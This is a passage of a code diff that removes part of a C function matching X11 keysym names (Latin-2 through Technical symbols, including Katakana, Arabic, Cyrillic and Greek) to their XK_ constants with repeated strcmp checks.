- if (!strcmp(s, "aogonek")) return XK_aogonek;
- if (!strcmp(s, "ogonek")) return XK_ogonek;
- if (!strcmp(s, "lstroke")) return XK_lstroke;
- if (!strcmp(s, "lcaron")) return XK_lcaron;
- if (!strcmp(s, "sacute")) return XK_sacute;
- if (!strcmp(s, "caron")) return XK_caron;
- if (!strcmp(s, "scaron")) return XK_scaron;
- if (!strcmp(s, "scedilla")) return XK_scedilla;
- if (!strcmp(s, "tcaron")) return XK_tcaron;
- if (!strcmp(s, "zacute")) return XK_zacute;
- if (!strcmp(s, "doubleacute")) return XK_doubleacute;
- if (!strcmp(s, "zcaron")) return XK_zcaron;
- if (!strcmp(s, "zabovedot")) return XK_zabovedot;
- if (!strcmp(s, "Racute")) return XK_Racute;
- if (!strcmp(s, "Abreve")) return XK_Abreve;
- if (!strcmp(s, "Lacute")) return XK_Lacute;
- if (!strcmp(s, "Cacute")) return XK_Cacute;
- if (!strcmp(s, "Ccaron")) return XK_Ccaron;
- if (!strcmp(s, "Eogonek")) return XK_Eogonek;
- if (!strcmp(s, "Ecaron")) return XK_Ecaron;
- if (!strcmp(s, "Dcaron")) return XK_Dcaron;
- if (!strcmp(s, "Dstroke")) return XK_Dstroke;
- if (!strcmp(s, "Nacute")) return XK_Nacute;
- if (!strcmp(s, "Ncaron")) return XK_Ncaron;
- if (!strcmp(s, "Odoubleacute")) return XK_Odoubleacute;
- if (!strcmp(s, "Rcaron")) return XK_Rcaron;
- if (!strcmp(s, "Uring")) return XK_Uring;
- if (!strcmp(s, "Udoubleacute")) return XK_Udoubleacute;
- if (!strcmp(s, "Tcedilla")) return XK_Tcedilla;
- if (!strcmp(s, "racute")) return XK_racute;
- if (!strcmp(s, "abreve")) return XK_abreve;
- if (!strcmp(s, "lacute")) return XK_lacute;
- if (!strcmp(s, "cacute")) return XK_cacute;
- if (!strcmp(s, "ccaron")) return XK_ccaron;
- if (!strcmp(s, "eogonek")) return XK_eogonek;
- if (!strcmp(s, "ecaron")) return XK_ecaron;
- if (!strcmp(s, "dcaron")) return XK_dcaron;
- if (!strcmp(s, "dstroke")) return XK_dstroke;
- if (!strcmp(s, "nacute")) return XK_nacute;
- if (!strcmp(s, "ncaron")) return XK_ncaron;
- if (!strcmp(s, "odoubleacute")) return XK_odoubleacute;
- if (!strcmp(s, "udoubleacute")) return XK_udoubleacute;
- if (!strcmp(s, "rcaron")) return XK_rcaron;
- if (!strcmp(s, "uring")) return XK_uring;
- if (!strcmp(s, "tcedilla")) return XK_tcedilla;
- if (!strcmp(s, "abovedot")) return XK_abovedot;
-#endif /* XK_LATIN2 */
-#ifdef XK_LATIN3
- if (!strcmp(s, "Hstroke")) return XK_Hstroke;
- if (!strcmp(s, "Hcircumflex")) return XK_Hcircumflex;
- if (!strcmp(s, "Iabovedot")) return XK_Iabovedot;
- if (!strcmp(s, "Gbreve")) return XK_Gbreve;
- if (!strcmp(s, "Jcircumflex")) return XK_Jcircumflex;
- if (!strcmp(s, "hstroke")) return XK_hstroke;
- if (!strcmp(s, "hcircumflex")) return XK_hcircumflex;
- if (!strcmp(s, "idotless")) return XK_idotless;
- if (!strcmp(s, "gbreve")) return XK_gbreve;
- if (!strcmp(s, "jcircumflex")) return XK_jcircumflex;
- if (!strcmp(s, "Cabovedot")) return XK_Cabovedot;
- if (!strcmp(s, "Ccircumflex")) return XK_Ccircumflex;
- if (!strcmp(s, "Gabovedot")) return XK_Gabovedot;
- if (!strcmp(s, "Gcircumflex")) return XK_Gcircumflex;
- if (!strcmp(s, "Ubreve")) return XK_Ubreve;
- if (!strcmp(s, "Scircumflex")) return XK_Scircumflex;
- if (!strcmp(s, "cabovedot")) return XK_cabovedot;
- if (!strcmp(s, "ccircumflex")) return XK_ccircumflex;
- if (!strcmp(s, "gabovedot")) return XK_gabovedot;
- if (!strcmp(s, "gcircumflex")) return XK_gcircumflex;
- if (!strcmp(s, "ubreve")) return XK_ubreve;
- if (!strcmp(s, "scircumflex")) return XK_scircumflex;
-#endif /* XK_LATIN3 */
-#ifdef XK_LATIN4
- if (!strcmp(s, "kra")) return XK_kra;
- if (!strcmp(s, "kappa")) return XK_kappa;
- if (!strcmp(s, "Rcedilla")) return XK_Rcedilla;
- if (!strcmp(s, "Itilde")) return XK_Itilde;
- if (!strcmp(s, "Lcedilla")) return XK_Lcedilla;
- if (!strcmp(s, "Emacron")) return XK_Emacron;
- if (!strcmp(s, "Gcedilla")) return XK_Gcedilla;
- if (!strcmp(s, "Tslash")) return XK_Tslash;
- if (!strcmp(s, "rcedilla")) return XK_rcedilla;
- if (!strcmp(s, "itilde")) return XK_itilde;
- if (!strcmp(s, "lcedilla")) return XK_lcedilla;
- if (!strcmp(s, "emacron")) return XK_emacron;
- if (!strcmp(s, "gcedilla")) return XK_gcedilla;
- if (!strcmp(s, "tslash")) return XK_tslash;
- if (!strcmp(s, "ENG")) return XK_ENG;
- if (!strcmp(s, "eng")) return XK_eng;
- if (!strcmp(s, "Amacron")) return XK_Amacron;
- if (!strcmp(s, "Iogonek")) return XK_Iogonek;
- if (!strcmp(s, "Eabovedot")) return XK_Eabovedot;
- if (!strcmp(s, "Imacron")) return XK_Imacron;
- if (!strcmp(s, "Ncedilla")) return XK_Ncedilla;
- if (!strcmp(s, "Omacron")) return XK_Omacron;
- if (!strcmp(s, "Kcedilla")) return XK_Kcedilla;
- if (!strcmp(s, "Uogonek")) return XK_Uogonek;
- if (!strcmp(s, "Utilde")) return XK_Utilde;
- if (!strcmp(s, "Umacron")) return XK_Umacron;
- if (!strcmp(s, "amacron")) return XK_amacron;
- if (!strcmp(s, "iogonek")) return XK_iogonek;
- if (!strcmp(s, "eabovedot")) return XK_eabovedot;
- if (!strcmp(s, "imacron")) return XK_imacron;
- if (!strcmp(s, "ncedilla")) return XK_ncedilla;
- if (!strcmp(s, "omacron")) return XK_omacron;
- if (!strcmp(s, "kcedilla")) return XK_kcedilla;
- if (!strcmp(s, "uogonek")) return XK_uogonek;
- if (!strcmp(s, "utilde")) return XK_utilde;
- if (!strcmp(s, "umacron")) return XK_umacron;
-#endif /* XK_LATIN4 */
-#ifdef XK_KATAKANA
- if (!strcmp(s, "overline")) return XK_overline;
- if (!strcmp(s, "kana_fullstop")) return XK_kana_fullstop;
- if (!strcmp(s, "kana_openingbracket")) return XK_kana_openingbracket;
- if (!strcmp(s, "kana_closingbracket")) return XK_kana_closingbracket;
- if (!strcmp(s, "kana_comma")) return XK_kana_comma;
- if (!strcmp(s, "kana_conjunctive")) return XK_kana_conjunctive;
- if (!strcmp(s, "kana_middledot")) return XK_kana_middledot;
- if (!strcmp(s, "kana_WO")) return XK_kana_WO;
- if (!strcmp(s, "kana_a")) return XK_kana_a;
- if (!strcmp(s, "kana_i")) return XK_kana_i;
- if (!strcmp(s, "kana_u")) return XK_kana_u;
- if (!strcmp(s, "kana_e")) return XK_kana_e;
- if (!strcmp(s, "kana_o")) return XK_kana_o;
- if (!strcmp(s, "kana_ya")) return XK_kana_ya;
- if (!strcmp(s, "kana_yu")) return XK_kana_yu;
- if (!strcmp(s, "kana_yo")) return XK_kana_yo;
- if (!strcmp(s, "kana_tsu")) return XK_kana_tsu;
- if (!strcmp(s, "kana_tu")) return XK_kana_tu;
- if (!strcmp(s, "prolongedsound")) return XK_prolongedsound;
- if (!strcmp(s, "kana_A")) return XK_kana_A;
- if (!strcmp(s, "kana_I")) return XK_kana_I;
- if (!strcmp(s, "kana_U")) return XK_kana_U;
- if (!strcmp(s, "kana_E")) return XK_kana_E;
- if (!strcmp(s, "kana_O")) return XK_kana_O;
- if (!strcmp(s, "kana_KA")) return XK_kana_KA;
- if (!strcmp(s, "kana_KI")) return XK_kana_KI;
- if (!strcmp(s, "kana_KU")) return XK_kana_KU;
- if (!strcmp(s, "kana_KE")) return XK_kana_KE;
- if (!strcmp(s, "kana_KO")) return XK_kana_KO;
- if (!strcmp(s, "kana_SA")) return XK_kana_SA;
- if (!strcmp(s, "kana_SHI")) return XK_kana_SHI;
- if (!strcmp(s, "kana_SU")) return XK_kana_SU;
- if (!strcmp(s, "kana_SE")) return XK_kana_SE;
- if (!strcmp(s, "kana_SO")) return XK_kana_SO;
- if (!strcmp(s, "kana_TA")) return XK_kana_TA;
- if (!strcmp(s, "kana_CHI")) return XK_kana_CHI;
- if (!strcmp(s, "kana_TI")) return XK_kana_TI;
- if (!strcmp(s, "kana_TSU")) return XK_kana_TSU;
- if (!strcmp(s, "kana_TU")) return XK_kana_TU;
- if (!strcmp(s, "kana_TE")) return XK_kana_TE;
- if (!strcmp(s, "kana_TO")) return XK_kana_TO;
- if (!strcmp(s, "kana_NA")) return XK_kana_NA;
- if (!strcmp(s, "kana_NI")) return XK_kana_NI;
- if (!strcmp(s, "kana_NU")) return XK_kana_NU;
- if (!strcmp(s, "kana_NE")) return XK_kana_NE;
- if (!strcmp(s, "kana_NO")) return XK_kana_NO;
- if (!strcmp(s, "kana_HA")) return XK_kana_HA;
- if (!strcmp(s, "kana_HI")) return XK_kana_HI;
- if (!strcmp(s, "kana_FU")) return XK_kana_FU;
- if (!strcmp(s, "kana_HU")) return XK_kana_HU;
- if (!strcmp(s, "kana_HE")) return XK_kana_HE;
- if (!strcmp(s, "kana_HO")) return XK_kana_HO;
- if (!strcmp(s, "kana_MA")) return XK_kana_MA;
- if (!strcmp(s, "kana_MI")) return XK_kana_MI;
- if (!strcmp(s, "kana_MU")) return XK_kana_MU;
- if (!strcmp(s, "kana_ME")) return XK_kana_ME;
- if (!strcmp(s, "kana_MO")) return XK_kana_MO;
- if (!strcmp(s, "kana_YA")) return XK_kana_YA;
- if (!strcmp(s, "kana_YU")) return XK_kana_YU;
- if (!strcmp(s, "kana_YO")) return XK_kana_YO;
- if (!strcmp(s, "kana_RA")) return XK_kana_RA;
- if (!strcmp(s, "kana_RI")) return XK_kana_RI;
- if (!strcmp(s, "kana_RU")) return XK_kana_RU;
- if (!strcmp(s, "kana_RE")) return XK_kana_RE;
- if (!strcmp(s, "kana_RO")) return XK_kana_RO;
- if (!strcmp(s, "kana_WA")) return XK_kana_WA;
- if (!strcmp(s, "kana_N")) return XK_kana_N;
- if (!strcmp(s, "voicedsound")) return XK_voicedsound;
- if (!strcmp(s, "semivoicedsound")) return XK_semivoicedsound;
- if (!strcmp(s, "kana_switch")) return XK_kana_switch;
-#endif /* XK_KATAKANA */
-#ifdef XK_ARABIC
- if (!strcmp(s, "Arabic_comma")) return XK_Arabic_comma;
- if (!strcmp(s, "Arabic_semicolon")) return XK_Arabic_semicolon;
- if (!strcmp(s, "Arabic_question_mark")) return XK_Arabic_question_mark;
- if (!strcmp(s, "Arabic_hamza")) return XK_Arabic_hamza;
- if (!strcmp(s, "Arabic_maddaonalef")) return XK_Arabic_maddaonalef;
- if (!strcmp(s, "Arabic_hamzaonalef")) return XK_Arabic_hamzaonalef;
- if (!strcmp(s, "Arabic_hamzaonwaw")) return XK_Arabic_hamzaonwaw;
- if (!strcmp(s, "Arabic_hamzaunderalef")) return XK_Arabic_hamzaunderalef;
- if (!strcmp(s, "Arabic_hamzaonyeh")) return XK_Arabic_hamzaonyeh;
- if (!strcmp(s, "Arabic_alef")) return XK_Arabic_alef;
- if (!strcmp(s, "Arabic_beh")) return XK_Arabic_beh;
- if (!strcmp(s, "Arabic_tehmarbuta")) return XK_Arabic_tehmarbuta;
- if (!strcmp(s, "Arabic_teh")) return XK_Arabic_teh;
- if (!strcmp(s, "Arabic_theh")) return XK_Arabic_theh;
- if (!strcmp(s, "Arabic_jeem")) return XK_Arabic_jeem;
- if (!strcmp(s, "Arabic_hah")) return XK_Arabic_hah;
- if (!strcmp(s, "Arabic_khah")) return XK_Arabic_khah;
- if (!strcmp(s, "Arabic_dal")) return XK_Arabic_dal;
- if (!strcmp(s, "Arabic_thal")) return XK_Arabic_thal;
- if (!strcmp(s, "Arabic_ra")) return XK_Arabic_ra;
- if (!strcmp(s, "Arabic_zain")) return XK_Arabic_zain;
- if (!strcmp(s, "Arabic_seen")) return XK_Arabic_seen;
- if (!strcmp(s, "Arabic_sheen")) return XK_Arabic_sheen;
- if (!strcmp(s, "Arabic_sad")) return XK_Arabic_sad;
- if (!strcmp(s, "Arabic_dad")) return XK_Arabic_dad;
- if (!strcmp(s, "Arabic_tah")) return XK_Arabic_tah;
- if (!strcmp(s, "Arabic_zah")) return XK_Arabic_zah;
- if (!strcmp(s, "Arabic_ain")) return XK_Arabic_ain;
- if (!strcmp(s, "Arabic_ghain")) return XK_Arabic_ghain;
- if (!strcmp(s, "Arabic_tatweel")) return XK_Arabic_tatweel;
- if (!strcmp(s, "Arabic_feh")) return XK_Arabic_feh;
- if (!strcmp(s, "Arabic_qaf")) return XK_Arabic_qaf;
- if (!strcmp(s, "Arabic_kaf")) return XK_Arabic_kaf;
- if (!strcmp(s, "Arabic_lam")) return XK_Arabic_lam;
- if (!strcmp(s, "Arabic_meem")) return XK_Arabic_meem;
- if (!strcmp(s, "Arabic_noon")) return XK_Arabic_noon;
- if (!strcmp(s, "Arabic_ha")) return XK_Arabic_ha;
- if (!strcmp(s, "Arabic_heh")) return XK_Arabic_heh;
- if (!strcmp(s, "Arabic_waw")) return XK_Arabic_waw;
- if (!strcmp(s, "Arabic_alefmaksura")) return XK_Arabic_alefmaksura;
- if (!strcmp(s, "Arabic_yeh")) return XK_Arabic_yeh;
- if (!strcmp(s, "Arabic_fathatan")) return XK_Arabic_fathatan;
- if (!strcmp(s, "Arabic_dammatan")) return XK_Arabic_dammatan;
- if (!strcmp(s, "Arabic_kasratan")) return XK_Arabic_kasratan;
- if (!strcmp(s, "Arabic_fatha")) return XK_Arabic_fatha;
- if (!strcmp(s, "Arabic_damma")) return XK_Arabic_damma;
- if (!strcmp(s, "Arabic_kasra")) return XK_Arabic_kasra;
- if (!strcmp(s, "Arabic_shadda")) return XK_Arabic_shadda;
- if (!strcmp(s, "Arabic_sukun")) return XK_Arabic_sukun;
- if (!strcmp(s, "Arabic_switch")) return XK_Arabic_switch;
-#endif /* XK_ARABIC */
-#ifdef XK_CYRILLIC
- if (!strcmp(s, "Serbian_dje")) return XK_Serbian_dje;
- if (!strcmp(s, "Macedonia_gje")) return XK_Macedonia_gje;
- if (!strcmp(s, "Cyrillic_io")) return XK_Cyrillic_io;
- if (!strcmp(s, "Ukrainian_ie")) return XK_Ukrainian_ie;
- if (!strcmp(s, "Ukranian_je")) return XK_Ukranian_je;
- if (!strcmp(s, "Macedonia_dse")) return XK_Macedonia_dse;
- if (!strcmp(s, "Ukrainian_i")) return XK_Ukrainian_i;
- if (!strcmp(s, "Ukranian_i")) return XK_Ukranian_i;
- if (!strcmp(s, "Ukrainian_yi")) return XK_Ukrainian_yi;
- if (!strcmp(s, "Ukranian_yi")) return XK_Ukranian_yi;
- if (!strcmp(s, "Cyrillic_je")) return XK_Cyrillic_je;
- if (!strcmp(s, "Serbian_je")) return XK_Serbian_je;
- if (!strcmp(s, "Cyrillic_lje")) return XK_Cyrillic_lje;
- if (!strcmp(s, "Serbian_lje")) return XK_Serbian_lje;
- if (!strcmp(s, "Cyrillic_nje")) return XK_Cyrillic_nje;
- if (!strcmp(s, "Serbian_nje")) return XK_Serbian_nje;
- if (!strcmp(s, "Serbian_tshe")) return XK_Serbian_tshe;
- if (!strcmp(s, "Macedonia_kje")) return XK_Macedonia_kje;
- if (!strcmp(s, "Byelorussian_shortu")) return XK_Byelorussian_shortu;
- if (!strcmp(s, "Cyrillic_dzhe")) return XK_Cyrillic_dzhe;
- if (!strcmp(s, "Serbian_dze")) return XK_Serbian_dze;
- if (!strcmp(s, "numerosign")) return XK_numerosign;
- if (!strcmp(s, "Serbian_DJE")) return XK_Serbian_DJE;
- if (!strcmp(s, "Macedonia_GJE")) return XK_Macedonia_GJE;
- if (!strcmp(s, "Cyrillic_IO")) return XK_Cyrillic_IO;
- if (!strcmp(s, "Ukrainian_IE")) return XK_Ukrainian_IE;
- if (!strcmp(s, "Ukranian_JE")) return XK_Ukranian_JE;
- if (!strcmp(s, "Macedonia_DSE")) return XK_Macedonia_DSE;
- if (!strcmp(s, "Ukrainian_I")) return XK_Ukrainian_I;
- if (!strcmp(s, "Ukranian_I")) return XK_Ukranian_I;
- if (!strcmp(s, "Ukrainian_YI")) return XK_Ukrainian_YI;
- if (!strcmp(s, "Ukranian_YI")) return XK_Ukranian_YI;
- if (!strcmp(s, "Cyrillic_JE")) return XK_Cyrillic_JE;
- if (!strcmp(s, "Serbian_JE")) return XK_Serbian_JE;
- if (!strcmp(s, "Cyrillic_LJE")) return XK_Cyrillic_LJE;
- if (!strcmp(s, "Serbian_LJE")) return XK_Serbian_LJE;
- if (!strcmp(s, "Cyrillic_NJE")) return XK_Cyrillic_NJE;
- if (!strcmp(s, "Serbian_NJE")) return XK_Serbian_NJE;
- if (!strcmp(s, "Serbian_TSHE")) return XK_Serbian_TSHE;
- if (!strcmp(s, "Macedonia_KJE")) return XK_Macedonia_KJE;
- if (!strcmp(s, "Byelorussian_SHORTU")) return XK_Byelorussian_SHORTU;
- if (!strcmp(s, "Cyrillic_DZHE")) return XK_Cyrillic_DZHE;
- if (!strcmp(s, "Serbian_DZE")) return XK_Serbian_DZE;
- if (!strcmp(s, "Cyrillic_yu")) return XK_Cyrillic_yu;
- if (!strcmp(s, "Cyrillic_a")) return XK_Cyrillic_a;
- if (!strcmp(s, "Cyrillic_be")) return XK_Cyrillic_be;
- if (!strcmp(s, "Cyrillic_tse")) return XK_Cyrillic_tse;
- if (!strcmp(s, "Cyrillic_de")) return XK_Cyrillic_de;
- if (!strcmp(s, "Cyrillic_ie")) return XK_Cyrillic_ie;
- if (!strcmp(s, "Cyrillic_ef")) return XK_Cyrillic_ef;
- if (!strcmp(s, "Cyrillic_ghe")) return XK_Cyrillic_ghe;
- if (!strcmp(s, "Cyrillic_ha")) return XK_Cyrillic_ha;
- if (!strcmp(s, "Cyrillic_i")) return XK_Cyrillic_i;
- if (!strcmp(s, "Cyrillic_shorti")) return XK_Cyrillic_shorti;
- if (!strcmp(s, "Cyrillic_ka")) return XK_Cyrillic_ka;
- if (!strcmp(s, "Cyrillic_el")) return XK_Cyrillic_el;
- if (!strcmp(s, "Cyrillic_em")) return XK_Cyrillic_em;
- if (!strcmp(s, "Cyrillic_en")) return XK_Cyrillic_en;
- if (!strcmp(s, "Cyrillic_o")) return XK_Cyrillic_o;
- if (!strcmp(s, "Cyrillic_pe")) return XK_Cyrillic_pe;
- if (!strcmp(s, "Cyrillic_ya")) return XK_Cyrillic_ya;
- if (!strcmp(s, "Cyrillic_er")) return XK_Cyrillic_er;
- if (!strcmp(s, "Cyrillic_es")) return XK_Cyrillic_es;
- if (!strcmp(s, "Cyrillic_te")) return XK_Cyrillic_te;
- if (!strcmp(s, "Cyrillic_u")) return XK_Cyrillic_u;
- if (!strcmp(s, "Cyrillic_zhe")) return XK_Cyrillic_zhe;
- if (!strcmp(s, "Cyrillic_ve")) return XK_Cyrillic_ve;
- if (!strcmp(s, "Cyrillic_softsign")) return XK_Cyrillic_softsign;
- if (!strcmp(s, "Cyrillic_yeru")) return XK_Cyrillic_yeru;
- if (!strcmp(s, "Cyrillic_ze")) return XK_Cyrillic_ze;
- if (!strcmp(s, "Cyrillic_sha")) return XK_Cyrillic_sha;
- if (!strcmp(s, "Cyrillic_e")) return XK_Cyrillic_e;
- if (!strcmp(s, "Cyrillic_shcha")) return XK_Cyrillic_shcha;
- if (!strcmp(s, "Cyrillic_che")) return XK_Cyrillic_che;
- if (!strcmp(s, "Cyrillic_hardsign")) return XK_Cyrillic_hardsign;
- if (!strcmp(s, "Cyrillic_YU")) return XK_Cyrillic_YU;
- if (!strcmp(s, "Cyrillic_A")) return XK_Cyrillic_A;
- if (!strcmp(s, "Cyrillic_BE")) return XK_Cyrillic_BE;
- if (!strcmp(s, "Cyrillic_TSE")) return XK_Cyrillic_TSE;
- if (!strcmp(s, "Cyrillic_DE")) return XK_Cyrillic_DE;
- if (!strcmp(s, "Cyrillic_IE")) return XK_Cyrillic_IE;
- if (!strcmp(s, "Cyrillic_EF")) return XK_Cyrillic_EF;
- if (!strcmp(s, "Cyrillic_GHE")) return XK_Cyrillic_GHE;
- if (!strcmp(s, "Cyrillic_HA")) return XK_Cyrillic_HA;
- if (!strcmp(s, "Cyrillic_I")) return XK_Cyrillic_I;
- if (!strcmp(s, "Cyrillic_SHORTI")) return XK_Cyrillic_SHORTI;
- if (!strcmp(s, "Cyrillic_KA")) return XK_Cyrillic_KA;
- if (!strcmp(s, "Cyrillic_EL")) return XK_Cyrillic_EL;
- if (!strcmp(s, "Cyrillic_EM")) return XK_Cyrillic_EM;
- if (!strcmp(s, "Cyrillic_EN")) return XK_Cyrillic_EN;
- if (!strcmp(s, "Cyrillic_O")) return XK_Cyrillic_O;
- if (!strcmp(s, "Cyrillic_PE")) return XK_Cyrillic_PE;
- if (!strcmp(s, "Cyrillic_YA")) return XK_Cyrillic_YA;
- if (!strcmp(s, "Cyrillic_ER")) return XK_Cyrillic_ER;
- if (!strcmp(s, "Cyrillic_ES")) return XK_Cyrillic_ES;
- if (!strcmp(s, "Cyrillic_TE")) return XK_Cyrillic_TE;
- if (!strcmp(s, "Cyrillic_U")) return XK_Cyrillic_U;
- if (!strcmp(s, "Cyrillic_ZHE")) return XK_Cyrillic_ZHE;
- if (!strcmp(s, "Cyrillic_VE")) return XK_Cyrillic_VE;
- if (!strcmp(s, "Cyrillic_SOFTSIGN")) return XK_Cyrillic_SOFTSIGN;
- if (!strcmp(s, "Cyrillic_YERU")) return XK_Cyrillic_YERU;
- if (!strcmp(s, "Cyrillic_ZE")) return XK_Cyrillic_ZE;
- if (!strcmp(s, "Cyrillic_SHA")) return XK_Cyrillic_SHA;
- if (!strcmp(s, "Cyrillic_E")) return XK_Cyrillic_E;
- if (!strcmp(s, "Cyrillic_SHCHA")) return XK_Cyrillic_SHCHA;
- if (!strcmp(s, "Cyrillic_CHE")) return XK_Cyrillic_CHE;
- if (!strcmp(s, "Cyrillic_HARDSIGN")) return XK_Cyrillic_HARDSIGN;
-#endif /* XK_CYRILLIC */
-#ifdef XK_GREEK
- if (!strcmp(s, "Greek_ALPHAaccent")) return XK_Greek_ALPHAaccent;
- if (!strcmp(s, "Greek_EPSILONaccent")) return XK_Greek_EPSILONaccent;
- if (!strcmp(s, "Greek_ETAaccent")) return XK_Greek_ETAaccent;
- if (!strcmp(s, "Greek_IOTAaccent")) return XK_Greek_IOTAaccent;
- if (!strcmp(s, "Greek_IOTAdieresis")) return XK_Greek_IOTAdieresis;
- if (!strcmp(s, "Greek_OMICRONaccent")) return XK_Greek_OMICRONaccent;
- if (!strcmp(s, "Greek_UPSILONaccent")) return XK_Greek_UPSILONaccent;
- if (!strcmp(s, "Greek_UPSILONdieresis")) return XK_Greek_UPSILONdieresis;
- if (!strcmp(s, "Greek_OMEGAaccent")) return XK_Greek_OMEGAaccent;
- if (!strcmp(s, "Greek_accentdieresis")) return XK_Greek_accentdieresis;
- if (!strcmp(s, "Greek_horizbar")) return XK_Greek_horizbar;
- if (!strcmp(s, "Greek_alphaaccent")) return XK_Greek_alphaaccent;
- if (!strcmp(s, "Greek_epsilonaccent")) return XK_Greek_epsilonaccent;
- if (!strcmp(s, "Greek_etaaccent")) return XK_Greek_etaaccent;
- if (!strcmp(s, "Greek_iotaaccent")) return XK_Greek_iotaaccent;
- if (!strcmp(s, "Greek_iotadieresis")) return XK_Greek_iotadieresis;
- if (!strcmp(s, "Greek_iotaaccentdieresis")) return XK_Greek_iotaaccentdieresis;
- if (!strcmp(s, "Greek_omicronaccent")) return XK_Greek_omicronaccent;
- if (!strcmp(s, "Greek_upsilonaccent")) return XK_Greek_upsilonaccent;
- if (!strcmp(s, "Greek_upsilondieresis")) return XK_Greek_upsilondieresis;
- if (!strcmp(s, "Greek_upsilonaccentdieresis")) return XK_Greek_upsilonaccentdieresis;
- if (!strcmp(s, "Greek_omegaaccent")) return XK_Greek_omegaaccent;
- if (!strcmp(s, "Greek_ALPHA")) return XK_Greek_ALPHA;
- if (!strcmp(s, "Greek_BETA")) return XK_Greek_BETA;
- if (!strcmp(s, "Greek_GAMMA")) return XK_Greek_GAMMA;
- if (!strcmp(s, "Greek_DELTA")) return XK_Greek_DELTA;
- if (!strcmp(s, "Greek_EPSILON")) return XK_Greek_EPSILON;
- if (!strcmp(s, "Greek_ZETA")) return XK_Greek_ZETA;
- if (!strcmp(s, "Greek_ETA")) return XK_Greek_ETA;
- if (!strcmp(s, "Greek_THETA")) return XK_Greek_THETA;
- if (!strcmp(s, "Greek_IOTA")) return XK_Greek_IOTA;
- if (!strcmp(s, "Greek_KAPPA")) return XK_Greek_KAPPA;
- if (!strcmp(s, "Greek_LAMDA")) return XK_Greek_LAMDA;
- if (!strcmp(s, "Greek_LAMBDA")) return XK_Greek_LAMBDA;
- if (!strcmp(s, "Greek_MU")) return XK_Greek_MU;
- if (!strcmp(s, "Greek_NU")) return XK_Greek_NU;
- if (!strcmp(s, "Greek_XI")) return XK_Greek_XI;
- if (!strcmp(s, "Greek_OMICRON")) return XK_Greek_OMICRON;
- if (!strcmp(s, "Greek_PI")) return XK_Greek_PI;
- if (!strcmp(s, "Greek_RHO")) return XK_Greek_RHO;
- if (!strcmp(s, "Greek_SIGMA")) return XK_Greek_SIGMA;
- if (!strcmp(s, "Greek_TAU")) return XK_Greek_TAU;
- if (!strcmp(s, "Greek_UPSILON")) return XK_Greek_UPSILON;
- if (!strcmp(s, "Greek_PHI")) return XK_Greek_PHI;
- if (!strcmp(s, "Greek_CHI")) return XK_Greek_CHI;
- if (!strcmp(s, "Greek_PSI")) return XK_Greek_PSI;
- if (!strcmp(s, "Greek_OMEGA")) return XK_Greek_OMEGA;
- if (!strcmp(s, "Greek_alpha")) return XK_Greek_alpha;
- if (!strcmp(s, "Greek_beta")) return XK_Greek_beta;
- if (!strcmp(s, "Greek_gamma")) return XK_Greek_gamma;
- if (!strcmp(s, "Greek_delta")) return XK_Greek_delta;
- if (!strcmp(s, "Greek_epsilon")) return XK_Greek_epsilon;
- if (!strcmp(s, "Greek_zeta")) return XK_Greek_zeta;
- if (!strcmp(s, "Greek_eta")) return XK_Greek_eta;
- if (!strcmp(s, "Greek_theta")) return XK_Greek_theta;
- if (!strcmp(s, "Greek_iota")) return XK_Greek_iota;
- if (!strcmp(s, "Greek_kappa")) return XK_Greek_kappa;
- if (!strcmp(s, "Greek_lamda")) return XK_Greek_lamda;
- if (!strcmp(s, "Greek_lambda")) return XK_Greek_lambda;
- if (!strcmp(s, "Greek_mu")) return XK_Greek_mu;
- if (!strcmp(s, "Greek_nu")) return XK_Greek_nu;
- if (!strcmp(s, "Greek_xi")) return XK_Greek_xi;
- if (!strcmp(s, "Greek_omicron")) return XK_Greek_omicron;
- if (!strcmp(s, "Greek_pi")) return XK_Greek_pi;
- if (!strcmp(s, "Greek_rho")) return XK_Greek_rho;
- if (!strcmp(s, "Greek_sigma")) return XK_Greek_sigma;
- if (!strcmp(s, "Greek_finalsmallsigma")) return XK_Greek_finalsmallsigma;
- if (!strcmp(s, "Greek_tau")) return XK_Greek_tau;
- if (!strcmp(s, "Greek_upsilon")) return XK_Greek_upsilon;
- if (!strcmp(s, "Greek_phi")) return XK_Greek_phi;
- if (!strcmp(s, "Greek_chi")) return XK_Greek_chi;
- if (!strcmp(s, "Greek_psi")) return XK_Greek_psi;
- if (!strcmp(s, "Greek_omega")) return XK_Greek_omega;
- if (!strcmp(s, "Greek_switch")) return XK_Greek_switch;
-#endif /* XK_GREEK */
-#ifdef XK_TECHNICAL
- if (!strcmp(s, "leftradical")) return XK_leftradical;
- if (!strcmp(s, "topleftradical")) return XK_topleftradical;
- if (!strcmp(s, "horizconnector")) return XK_horizconnector;
- if (!strcmp(s, "topintegral")) return XK_topintegral;
- if (!strcmp(s, "botintegral")) return XK_botintegral;
- if (!strcmp(s, "vertconnector")) return XK_vertconnector;
- if (!strcmp(s, "topleftsqbracket")) return XK_topleftsqbracket;
- if (!strcmp(s, "botleftsqbracket")) return XK_botleftsqbracket;
- if (!strcmp(s, "toprightsqbracket")) return XK_toprightsqbracket;
- if (!strcmp(s, "botrightsqbracket")) return XK_botrightsqbracket;
- if (!strcmp(s, "topleftparens")) return XK_topleftparens;
- if (!strcmp(s, "botleftparens")) return XK_botleftparens;
- if (!strcmp(s, "toprightparens")) return XK_toprightparens;
- if (!strcmp(s, "botrightparens")) return XK_botrightparens;
- if (!strcmp(s, "leftmiddlecurlybrace")) return XK_leftmiddlecurlybrace;
- if (!strcmp(s, "rightmiddlecurlybrace")) return XK_rightmiddlecurlybrace;
- if (!strcmp(s, "topleftsummation")) return XK_topleftsummation;
- if (!strcmp(s, "botleftsummation")) return XK_botleftsummation;
- if (!strcmp(s, "topvertsummationconnector")) return XK_topvertsummationconnector;
- if (!strcmp(s, "botvertsummationconnector")) return XK_botvertsummationconnector;
- if (!strcmp(s, "toprightsummation")) return XK_toprightsummation;
- if (!strcmp(s, "botrightsummation")) return XK_botrightsummation;
- if (!strcmp(s, "rightmiddlesummation")) return XK_rightmiddlesummation;
- if (!strcmp(s, "lessthanequal")) return XK_lessthanequal;
- if (!strcmp(s, "notequal")) return XK_notequal;
- if (!strcmp(s, "greaterthanequal")) return XK_greaterthanequal;
- if (!strcmp(s, "integral")) return XK_integral;
- if (!strcmp(s, "therefore")) return XK_therefore;
- if (!strcmp(s, "variation")) return XK_variation;
- if (!strcmp(s, "infinity")) return XK_infinity;
- if (!strcmp(s, "nabla")) return XK_nabla;
- if (!strcmp(s, "approximate")) return XK_approximate;
- if (!strcmp(s, "similarequal")) return XK_similarequal;
- if (!strcmp(s, "ifonlyif")) return XK_ifonlyif;
